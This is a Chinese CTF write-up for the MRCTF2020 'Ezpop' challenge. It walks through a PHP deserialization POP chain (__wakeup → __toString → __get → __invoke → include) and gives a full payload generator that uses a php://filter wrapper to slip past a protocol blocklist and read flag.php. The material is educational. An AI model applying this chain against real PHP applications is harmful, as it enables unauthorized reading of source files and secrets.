[MRCTF2020]Ezpop
题目:
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
反序列化直接分析,构造pop链
1.先分析第一个类,Modifier
类
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
append
方法里面有内置函数include
,包含$value
值。__invoke
方法是当脚本尝试将对象调用为函数时触发
2.show
类
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
__construct
方法,接收参数$file
,$this->source = $file
将$file
的值赋给source
。而$file的值直接就是inde.php
,所以还是输出index.php
。
__toString
方法,当前对象访问str
再访问source
,然后返回这个值,就是把类当作字符串使用时触发
__wakeup
方法,使用反序列化的时候触发,而这里同时也可以触发__toString
方法。里面有waf,过滤一些协议,但是显而易见可以用filter
。
3.Test
类
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
__construct
方法,把p对象变成一个数组。
__get
方法,从不可访问的属性中读取数据会触发
4.分析
$value
接收什么可以控制
__invoke
调用append
,里面有$value
。
__get
将对象p作为函数调用,p实例化为Modify
类,而触发__invoke
__toString
访问str
的source
属性,str
没source
属性,而触发__get
__wakeup
把对象当成字符串处理(做匹配的时候),触发__toString
使用反序列化函数触发__wakeup
5.payload构造思路
Modifier
类,先把$var
的值写成伪协议读源码
class Modifier {
protected $var = "php://filter/convert.base64-encode/resource=flag.php";
}
show
类,这是pop链最开始,使用反序列化触发__wakeup
,__wakeup
直接触发__toString
,然后访问source
触发__get
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return "HNPC";
}
}
Test
类,p实例化为Modify
类
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
最后
$o = new Show('aaa');
$o->str= new Test();
$mlz = new Show($o);
echo urlencode(serialize($mlz));
6.payload
<?php
class Modifier {
protected $var = "php://filter/convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$o = new Show('aaa');
$o->str= new Test();
$mlz = new Show($o);
echo urlencode(serialize($mlz));
pop传入,之后base64解码,得到flag
作者:浩歌已行
链接:https://www.jianshu.com/p/150cb693f77b
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。